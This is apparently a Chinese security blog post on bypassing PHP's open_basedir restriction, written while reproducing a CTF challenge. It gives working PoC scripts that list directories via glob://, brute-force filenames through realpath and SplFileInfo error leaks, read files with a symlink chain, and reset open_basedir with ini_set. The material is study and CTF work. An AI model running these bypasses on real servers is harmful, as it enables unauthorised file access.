Yoga7xm's Blog

Open_basedir Bypass

字数统计: 1.6k阅读时长: 7 min
2019/05/20 Share

前言

在复现TCTF的时候,发现了open_basedir也是可以绕过的,于是乎学习一波师傅们的手法和思路。

open_basedir 配置

该配置的作用是将PHP所能打开的文件限制在指定的目录树,包括文件本身,当文件在指定的目录之外时,PHP将拒绝打开,但是直接用命令执行函数是不会受影响的。Windows中用分号隔开目录,Linux下利用冒号分隔

在PHP5.2和5.3之前的时候,使用它作为是前缀使用,对比一下

1
2
3
4
5
6
7
//basedir.php
<?php
ini_set('open_basedir','/tmp/t');
var_dump(scandir('/tmp/t'));
var_dump(scandir('/tmp/tm'));
var_dump(scandir('/tmp/tmp'));
echo file_get_contents('/tmp/t.txt');

PHP5.1时

PHP7.3.4时

此外,php文档中指明了脚本的工作目录被作为基准目录,所以用绝对路径设置的open_basedir能够利用chdir()进行bypass

DirectoryIterator + Glob

DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看文件系统目录的接口

glob://作用是查找匹配的文件路径模式,自PHP 5.3.0起开始有效

当用scandir()去列举指定之外的目录时,直接返回Bool(False),但是这俩种方式搭配起来就能列目录了,Ph师傅给出的利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
?>

利用上次TCTF(PHP7.2)的环境,可以直接列出根目录下的文件。

但是想要枚举其他路径下所有文件时,还是会判断是否在basedir指定的目录中,导致无法执行,报错信息

1
2
3
4
5
open_basedir: /var/www/html:/tmp/ </br>PHP Fatal error:  Uncaught UnexpectedValueException: DirectoryIterator::__construct(): open_basedir restriction in effect. File(/var/html/*) is not within the allowed path(s): (/var/www/html:/tmp/) in /var/www/html/basedir/glob.php:5
Stack trace:
#0 /var/www/html/basedir/glob.php(5): DirectoryIterator->__construct('glob:///var/htm...')
#1 {main}
thrown in /var/www/html/basedir/glob.php on line 5

realpath()

realpath()作用是将相对路径转化为绝对路径。而且在开启open_basedir的时候,传入一个不存在的文件名就会返回False;传入一个不在指定目录的文件就会返回File(filename) is not within the allowed path(s):如下图所示,可以用这个特性去爆破文件名。

这种爆破的工作量非常大,但是好在PHP在Windows上有一些特性:

  • 大于号(>)相当于通配符问号(?)
  • 小于号(<)相当于通配符星号(*)

于是POC可以改写为

1
2
3
4
5
<?php  
ini_set('open_basedir',dirname(__FILE__));
echo "open_basedir: ".ini_get('open_basedir');
$file = 'd:/basedir/a<<';
realpath($file);

成功爆出文件名,这里借用P牛的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
ini_set('open_basedir',dirname(__FILE__));
printf("open_basedir: %s<br/><br/>", ini_get('open_basedir'));
set_error_handler('isexist');
$dir = 'd:/basedir/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789-*/+_';
for ($i=0; $i<strlen($chars); $i++){
$file = $dir.$chars[$i].'<<';
realpath($file);
}
function isexist($errno, $errstr){
$regex = '/File\((.*)\) is not within/';
printf("errstr: %s <br/>",$errstr);
preg_match($regex, $errstr, $mathes);
if (isset($mathes[1])){
printf("%s <br/><br/>", $mathes[1]);
}
}

全部爆出来了,但是要是中文名开头的话也就不好使了,而且只能在Windows下使用,Linux下只能老老实实的爆破全文件名了…

SplFileInfo类

SplFileInfo是PHP5.1.2新增的一个类,用于获取文件的一些属性信息,如文件大小、文件访问时间、文件修改时间、后缀名等值。其中有一个getRealPath()与之前的realpath类似,也就是传入一个不存在的路径时就会返回False;否则正常返回绝对路径。但是这个函数不会判断是否在basedir指定的目录中,也就是可以爆破任意目录,而且POC中只要返回信息即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#false.php
<?php
ini_set('open_basedir',dirname(__FILE__));
printf("open_basedir: %s<br/><br/>", ini_get('open_basedir'));
$file = 'D:/basedir/a';
$info = new SplFileInfo($file);
var_dump($info->getRealPath());

#real.php
<?php
ini_set('open_basedir',dirname(__FILE__));
printf("open_basedir: %s<br/><br/>", ini_get('open_basedir'));
$file = 'D:/basedir/admin.txt';
$info = new SplFileInfo($file);
var_dump($info->getRealPath());

#poc.php
<?php
ini_set('open_basedir',dirname(__FILE__));
printf("open_basedir: %s<br/><br/>", ini_get('open_basedir'));
$file = 'D:/basedir/a<<';
$info = new SplFileInfo($file);
var_dump($info->getRealPath());

所以这个POC与Realpath类似

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("open_basedir: %s <br/><br/>", ini_get('open_basedir'));
$basedir = 'd:/basedir/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) {
$info = new SplFileInfo($basedir . $chars[$i] . '<><');
$re = $info->getRealPath();
if ($re) {
echo $re."<br>";
}
}

缺点同样是只适用于Windows,对于中文开头的文件名比较棘手,Linux下只能暴力破解

symlink() 对于已有的 target 建立一个名为 link 的符号连接,而符号链接就是软链接,类似于Windows的快捷方式。PHP版本为7.3.4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#/var/www/html/symlink/link.php
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("open_basedir: %s <br/><br/>", ini_get('open_basedir'));
mkdir("tmp");
chdir("tmp");
mkdir("tmp");
chdir("tmp");
chdir("..");
chdir("..");
symlink("tmp/tmp","tmplink");
symlink("tmplink/../../flag.txt","exploit");
unlink("tmplink");
mkdir("tmplink");
echo file_get_contents("http://127.0.0.1/symlink/exploit");

/var/www/html/下有个flag.txt,并且将/var/www/html/symlink/设置成basedir,通过执行php文件可以拿到txt文件内容。

原理就是最开始创建指向tmp/tmp的软链接文件tmplink,然后再创建一个指向tmplink/../../flag.txt的软链接exploit,也就是指向tmp/tmp/../../flag.txt也就是/var/www/html/flag.txt,最后访问exp链接就相当于访问flag.txt,成功绕过Basedir的限制。但是唯一的缺点就是,需要有足够的权限去对目录进行操作…Orz

ini_set()

这个Poc是国外大佬公开的,底层实现原理一叶飘零师傅讲的非常明白了,最终导致ini_set()被成功覆盖

1
2
3
4
5
6
7
8
9
10
11
<?php
ini_set('open_basedir',dirname(__FILE__));
mkdir('tmp');
chdir('tmp');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));

但是这个方法的缺点同样是得必须要有对文件目录操作的权限。

同样的回到TCTF复现环境中,进入Docker中执行chown www-data /var/www/html添加www-data用户,成功Bypass。

目前师傅们Bypass的手法,一种是通过报错信息或者返回信息进行盲扫;另一种则是根据某些函数对绝对路径和相对路径处理不当Bypass的,成功率都不算很高,但是还是膜一波师傅们Orz!!!

Reference

从PHP底层看open-basedir-bypass

PHP绕过open_basedir列目录的研究

php5全版本绕过open_basedir读文件脚本

CATALOG
  1. 1. 前言
  2. 2. open_basedir 配置
  3. 3. DirectoryIterator + Glob
  4. 4. realpath()
  5. 5. SplFileInfo类
  6. 6. symlink()
  7. 7. ini_set()
  8. 8. Reference